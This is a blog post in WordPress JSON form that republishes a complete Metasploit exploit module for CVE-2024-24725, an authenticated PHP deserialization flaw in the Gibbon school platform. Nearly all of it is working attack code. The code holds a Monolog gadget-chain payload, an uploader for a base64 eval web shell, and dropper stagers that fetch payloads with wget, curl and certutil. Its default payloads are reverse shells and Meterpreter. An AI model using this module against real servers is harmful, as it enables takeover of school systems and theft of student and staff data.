{"id":56114,"date":"2024-04-06T01:50:16","date_gmt":"2024-04-05T21:50:16","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/177944\/gibbon_auth_rce_cve_2024_24725.rb.txt"},"modified":"2024-04-06T01:50:16","modified_gmt":"2024-04-05T21:50:16","slug":"gibbon-school-platform-26-0-00-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/gibbon-school-platform-26-0-00-remote-code-execution\/","title":{"rendered":"Gibbon School Platform 26.0.00 Remote Code Execution"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Remote<br \/>Rank = ExcellentRanking<\/p>\n<p>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Exploit::CmdStager<br \/>include Msf::Exploit::FileDropper<br \/>prepend Msf::Exploit::Remote::AutoCheck<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Gibbon School Platform Authenticated PHP Deserialization Vulnerability&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>A Remote Code Execution vulnerability in Gibbon online school platform version 26.0.00 and lower<br \/>allows remote authenticated users to conduct PHP deserialization attacks via columnOrder in a<br \/>POST request to the endpoint `\/modules\/System%20Admin\/import_run.php&amp;type=externalAssessment&amp;step=4`.<br \/>As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands,<br \/>potentially resulting in complete system compromise, data exfiltration, or unauthorized access<br \/>to sensitive information.<br \/>},<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;h00die-gr3y &lt;h00die.gr3y[at]gmail.com&gt;&#8217;, # MSF module contributor<br \/>&#8216;Ali Maharramli&#8217;, # SecondX.io Research Team &#8211; discovery of the vulnerability<br \/>&#8216;Fikrat Guliev&#8217;, # SecondX.io Research Team &#8211; discovery of the vulnerability<br \/>&#8216;Islam Rzayev&#8217; # SecondX.io Research Team &#8211; discovery of the vulnerability<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;CVE&#8217;, &#8216;2024-24725&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/attackerkb.com\/topics\/ogKGAB44BP\/cve-2024-24725&#8217;],<br \/>[&#8216;PACKETSTORM&#8217;, &#8216;177635&#8217;],<br \/>[&#8216;EDB&#8217;, &#8216;51903&#8217;]],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2024-03-18&#8217;,<br \/>&#8216;Platform&#8217; =&gt; [&#8216;php&#8217;, &#8216;unix&#8217;, &#8216;linux&#8217;, &#8216;win&#8217;],<br \/>&#8216;Arch&#8217; =&gt; [ARCH_PHP, ARCH_CMD, ARCH_X64, ARCH_X86],<br \/>&#8216;Privileged&#8217; =&gt; false,<br \/>&#8216;Targets&#8217; =&gt; [<br \/>[<br \/>&#8216;PHP&#8217;,<br \/>{<br \/>&#8216;Platform&#8217; =&gt; [&#8216;php&#8217;],<br \/>&#8216;Arch&#8217; =&gt; ARCH_PHP,<br \/>&#8216;Type&#8217; =&gt; :php,<br \/>&#8216;DefaultOptions&#8217; =&gt; {<br \/>&#8216;PAYLOAD&#8217; =&gt; &#8216;php\/meterpreter\/reverse_tcp&#8217;<br \/>}<br \/>}<br \/>],<br \/>[<br \/>&#8216;Unix Command&#8217;,<br \/>{<br \/>&#8216;Platform&#8217; =&gt; [&#8216;unix&#8217;, &#8216;linux&#8217;],<br \/>&#8216;Arch&#8217; =&gt; ARCH_CMD,<br \/>&#8216;Type&#8217; =&gt; :unix_cmd,<br \/>&#8216;DefaultOptions&#8217; =&gt; {<br \/>&#8216;PAYLOAD&#8217; =&gt; &#8216;cmd\/unix\/reverse_bash&#8217;<br \/>}<br \/>}<br \/>],<br \/>[<br \/>&#8216;Linux Dropper&#8217;,<br \/>{<br \/>&#8216;Platform&#8217; =&gt; [&#8216;linux&#8217;],<br \/>&#8216;Arch&#8217; =&gt; [ARCH_X64, ARCH_X86],<br \/>&#8216;Type&#8217; =&gt; :linux_dropper,<br \/>&#8216;CmdStagerFlavor&#8217; =&gt; [&#8216;wget&#8217;, &#8216;curl&#8217;, &#8216;bourne&#8217;, &#8216;printf&#8217;, &#8216;echo&#8217;],<br \/>&#8216;Linemax&#8217; =&gt; 16384,<br \/>&#8216;DefaultOptions&#8217; =&gt; {<br \/>&#8216;PAYLOAD&#8217; =&gt; &#8216;linux\/x64\/meterpreter\/reverse_tcp&#8217;<br \/>}<br \/>}<br \/>],<br \/>[<br \/>&#8216;Windows Command&#8217;,<br \/>{<br \/>&#8216;Platform&#8217; =&gt; &#8216;win&#8217;,<br \/>&#8216;Arch&#8217; =&gt; ARCH_CMD,<br \/>&#8216;Type&#8217; =&gt; :windows_cmd,<br \/>&#8216;DefaultOptions&#8217; =&gt; {<br \/>&#8216;PAYLOAD&#8217; =&gt; &#8216;cmd\/windows\/powershell\/x64\/meterpreter\/reverse_tcp&#8217;<br \/>}<br \/>}<br \/>],<br \/>[<br \/>&#8216;Windows Dropper&#8217;,<br \/>{<br \/>&#8216;Platform&#8217; =&gt; &#8216;win&#8217;,<br \/>&#8216;Arch&#8217; =&gt; [ARCH_X64, ARCH_X86],<br \/>&#8216;Type&#8217; =&gt; :windows_dropper,<br \/>&#8216;Linemax&#8217; =&gt; 16384,<br \/>&#8216;CmdStagerFlavor&#8217; =&gt; [&#8216;psh_invokewebrequest&#8217;, &#8216;vbs&#8217;, &#8216;debug_asm&#8217;, &#8216;debug_write&#8217;, &#8216;certutil&#8217;],<br \/>&#8216;DefaultOptions&#8217; =&gt; {<br \/>&#8216;PAYLOAD&#8217; =&gt; &#8216;windows\/x64\/meterpreter\/reverse_tcp&#8217;<br \/>}<br \/>}<br \/>]],<br \/>&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>&#8216;DefaultOptions&#8217; =&gt; {<br \/>&#8216;SSL&#8217; =&gt; true,<br \/>&#8216;RPORT&#8217; =&gt; 443<br \/>},<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>&#8216;Reliability&#8217; =&gt; [REPEATABLE_SESSION],<br \/>&#8216;SideEffects&#8217; =&gt; [IOC_IN_LOGS, ARTIFACTS_ON_DISK]}<br \/>)<br \/>)<br \/>register_options([<br \/>OptString.new(&#8216;TARGETURI&#8217;, [ true, &#8216;The Gibbon online school platform endpoint URL&#8217;, &#8216;\/&#8217; ]),<br \/>OptString.new(&#8216;WEBSHELL&#8217;, [false, &#8216;Set webshell name without extension. Name will be randomly generated if left unset.&#8217;, nil]),<br \/>OptString.new(&#8216;USERNAME&#8217;, [true, &#8216;Gibbon username to login, typically an e-mail address&#8217;]),<br \/>OptString.new(&#8216;PASSWORD&#8217;, [true, &#8216;Password&#8217;])<br \/>])<br \/>end<\/p>\n<p>def gibbon_login<br \/># construct multipart login form data<br \/>form_data = Rex::MIME::Message.new<br \/>form_data.add_part(&#8221;, nil, nil, &#8216;form-data; name=&#8221;address&#8221;&#8216;)<br \/>form_data.add_part(&#8216;default&#8217;, nil, nil, &#8216;form-data; name=&#8221;method&#8221;&#8216;)<br \/>form_data.add_part(datastore[&#8216;USERNAME&#8217;].to_s, nil, nil, &#8216;form-data; name=&#8221;username&#8221;&#8216;)<br \/>form_data.add_part(datastore[&#8216;PASSWORD&#8217;].to_s, nil, nil, &#8216;form-data; name=&#8221;password&#8221;&#8216;)<br \/>form_data.add_part(&#8216;025&#8217;, nil, nil, &#8216;form-data; name=&#8221;gibbonSchoolYearID&#8221;&#8216;)<br \/>form_data.add_part(&#8216;0002&#8217;, nil, nil, &#8216;form-data; name=&#8221;gibboni18nID&#8221;&#8216;)<\/p>\n<p>return send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;login.php?timeout=true&#8217;),<br \/>&#8216;keep_cookies&#8217; =&gt; true,<br \/>&#8216;ctype&#8217; =&gt; &#8220;multipart\/form-data; boundary=#{form_data.bound}&#8221;,<br \/>&#8216;data&#8217; =&gt; form_data.to_s<br \/>})<br \/>end<\/p>\n<p>def construct_form_data(payload)<br \/># construct multipart form data with payload<br \/>payload_len = payload.length<br \/>payload_data = &#8220;a:2:{i:7;O:32:\\&#8221;Monolog\\\\Handler\\\\SyslogUdpHandler\\&#8221;:1:{s:9:\\&#8221;\\x00*\\x00socket\\&#8221;;O:29:\\&#8221;Monolog\\\\Handler\\\\BufferHandler\\&#8221;:7:{s:10:\\&#8221;\\x00*\\x00handler\\&#8221;;r:3;s:13:\\&#8221;\\x00*\\x00bufferSize\\&#8221;;i:-1;s:9:\\&#8221;\\x00*\\x00buffer\\&#8221;;a:1:{i:0;a:2:{i:0;s:#{payload_len}:\\&#8221;#{payload}\\&#8221;;s:5:\\&#8221;level\\&#8221;;N;}}s:8:\\&#8221;\\x00*\\x00level\\&#8221;;N;s:14:\\&#8221;\\x00*\\x00initialized\\&#8221;;b:1;s:14:\\&#8221;\\x00*\\x00bufferLimit\\&#8221;;i:-1;s:13:\\&#8221;\\x00*\\x00processors\\&#8221;;a:2:{i:0;s:7:\\&#8221;current\\&#8221;;i:1;s:6:\\&#8221;system\\&#8221;;}}}i:7;i:7;}&#8221;<\/p>\n<p>form_data = Rex::MIME::Message.new<br \/>form_data.add_part(&#8216;\/modules\/System Admin\/import_run.php&#8217;, nil, nil, &#8216;form-data; name=&#8221;address&#8221;&#8216;)<br \/>form_data.add_part(&#8216;sync&#8217;, nil, nil, &#8216;form-data; name=&#8221;mode&#8221;&#8216;)<br \/>form_data.add_part(&#8216;N&#8217;, nil, nil, &#8216;form-data; name=&#8221;syncField&#8221;&#8216;)<br \/>form_data.add_part(&#8221;, nil, nil, &#8216;form-data; name=&#8221;syncColumn&#8221;&#8216;)<br \/>form_data.add_part(payload_data.to_s, nil, nil, &#8216;form-data; name=&#8221;columnOrder&#8221;&#8216;)<br \/>form_data.add_part(&#8216;N;&#8217;, nil, nil, &#8216;form-data; name=&#8221;columnText&#8221;&#8216;)<br \/>form_data.add_part(&#8216;%2C&#8217;, nil, nil, &#8216;form-data; name=&#8221;fieldDelimiter&#8221;&#8216;)<br \/>form_data.add_part(&#8216;%22&#8217;, nil, nil, &#8216;form-data; name=&#8221;stringEnclosure&#8221;&#8216;)<br \/>form_data.add_part(&#8220;#{Rex::Text.rand_text_alpha(8..16)}.xlsx&#8221;, nil, nil, &#8216;form-data; name=&#8221;filename&#8221;&#8216;)<br \/>form_data.add_part(&#8216;&#8221;External Assessment&#8221;,&#8221;Assessment Data&#8221;,&#8221;Student&#8221;,&#8221;Field Name&#8221;,&#8221;Category&#8221;,&#8221;Field Name&#8221;,&#8221;Result&#8221;&#8216;, nil, nil, &#8216;form-data; name=&#8221;csvData&#8221;&#8216;)<br \/>form_data.add_part(&#8216;1&#8217;, nil, nil, &#8216;form-data; name=&#8221;ignoreErrors&#8221;&#8216;)<br \/>form_data.add_part(&#8216;Submit&#8217;, nil, nil, &#8216;form-data; name=&#8221;Failed&#8221;&#8216;)<br \/>return form_data<br \/>end<\/p>\n<p>def upload_webshell(b64_payload)<br \/># randomize file name if option WEBSHELL is not set<br \/>@webshell_name = (datastore[&#8216;WEBSHELL&#8217;].blank? ? &#8220;#{Rex::Text.rand_text_alpha(8..16)}.php&#8221; : &#8220;#{datastore[&#8216;WEBSHELL&#8217;]}.php&#8221;)<\/p>\n<p># create webshell with base64 encoded PHP payload<br \/># works for both windows and linux targets<br \/>php_payload = &#8220;echo \\&#8221;&lt;?php @eval(base64_decode(\\&#8217;#{b64_payload}\\&#8217;));?&gt;\\&#8221; &gt; #{@webshell_name}&#8221;<br \/>form_data = construct_form_data(php_payload)<\/p>\n<p># upload webshell<br \/>send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;index.php?q=\/modules\/System%20Admin\/import_run.php&amp;type=externalAssessment&amp;step=4&#8217;),<br \/>&#8216;keep_cookies&#8217; =&gt; true,<br \/>&#8216;ctype&#8217; =&gt; &#8220;multipart\/form-data; boundary=#{form_data.bound}&#8221;,<br \/>&#8216;data&#8217; =&gt; form_data.to_s<br \/>})<br \/>end<\/p>\n<p>def execute_php(cmd, _opts = {})<br \/>payload = Base64.strict_encode64(cmd)<br \/>res = upload_webshell(payload)<br \/>fail_with(Failure::PayloadFailed, &#8216;Web shell upload error.&#8217;) unless res &amp;&amp; res.code == 200<br \/>register_file_for_cleanup(@webshell_name)<\/p>\n<p># execute webshell<br \/>send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, @webshell_name),<br \/>&#8216;keep_cookies&#8217; =&gt; true<br \/>})<br \/>end<\/p>\n<p>def execute_command(cmd, _opts = {})<br \/>form_data = construct_form_data(cmd)<br \/>send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;index.php?q=\/modules\/System%20Admin\/import_run.php&amp;type=externalAssessment&amp;step=4&#8217;),<br \/>&#8216;keep_cookies&#8217; =&gt; true,<br \/>&#8216;ctype&#8217; =&gt; &#8220;multipart\/form-data; boundary=#{form_data.bound}&#8221;,<br \/>&#8216;data&#8217; =&gt; form_data.to_s<br \/>})<br \/>end<\/p>\n<p>def check<br \/>print_status(&#8220;Checking if #{peer} can be exploited.&#8221;)<br \/>res = send_request_cgi!({<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;ctype&#8217; =&gt; &#8216;application\/x-www-form-urlencoded&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path)<br \/>})<br \/>return CheckCode::Unknown(&#8216;No valid response received from target.&#8217;) unless res &amp;&amp; res.code == 200<\/p>\n<p># check if target is running the Gibbon online school platform<br \/># search for the Gibbon version on the login page<br \/>return CheckCode::Safe(&#8216;No Gibbon school platform found.&#8217;) unless res.body.include?(&#8216;Gibbon&#8217;)<\/p>\n<p># trying to get the version<br \/>version = res.body.match(\/Gibbon.*v(\\d+\\.\\d+\\.\\d+)\/)<br \/>version_number = version[0].split(&#8216;v&#8217;) unless version.nil?<br \/>if version_number<br \/>if Rex::Version.new(version_number[1]) &lt;= Rex::Version.new(&#8216;26.0.00&#8217;)<br \/>return CheckCode::Appears(&#8220;Gibbon v#{version_number[1]}&#8221;)<br \/>else<br \/>return CheckCode::Safe(&#8220;Gibbon v#{version_number[1]}&#8221;)<br \/>end<br \/>end<br \/>CheckCode::Detected<br \/>end<\/p>\n<p>def exploit<br \/>print_status(&#8220;Executing #{target.name} for #{datastore[&#8216;PAYLOAD&#8217;]}&#8221;)<br \/>res = gibbon_login<br \/>fail_with(Failure::NoAccess, &#8220;Login failed with user #{datastore[&#8216;USERNAME&#8217;]} and password #{datastore[&#8216;PASSWORD&#8217;]}.&#8221;) unless res &amp;&amp; res.code == 302<\/p>\n<p>case target[&#8216;Type&#8217;]when :php<br \/>execute_php(payload.encoded)<br \/>when :unix_cmd, :windows_cmd<br \/>execute_command(payload.encoded)<br \/>when :linux_dropper, :windows_dropper<br \/># don&#8217;t check the response here since the server won&#8217;t respond<br \/># if the payload is successfully executed.<br \/>execute_cmdstager({ linemax: target.opts[&#8216;Linemax&#8217;] })<br \/>end<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Exploit::RemoteRank = ExcellentRanking include Msf::Exploit::Remote::HttpClientinclude Msf::Exploit::CmdStagerinclude Msf::Exploit::FileDropperprepend Msf::Exploit::Remote::AutoCheck def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Gibbon School Platform Authenticated PHP Deserialization Vulnerability&#8217;,&#8216;Description&#8217; =&gt; %q{A Remote Code Execution vulnerability in Gibbon online school platform version 26.0.00 and lowerallows remote authenticated users to conduct PHP deserialization attacks &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56114","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56114","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56114"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56114\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56114"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56114"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56114"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}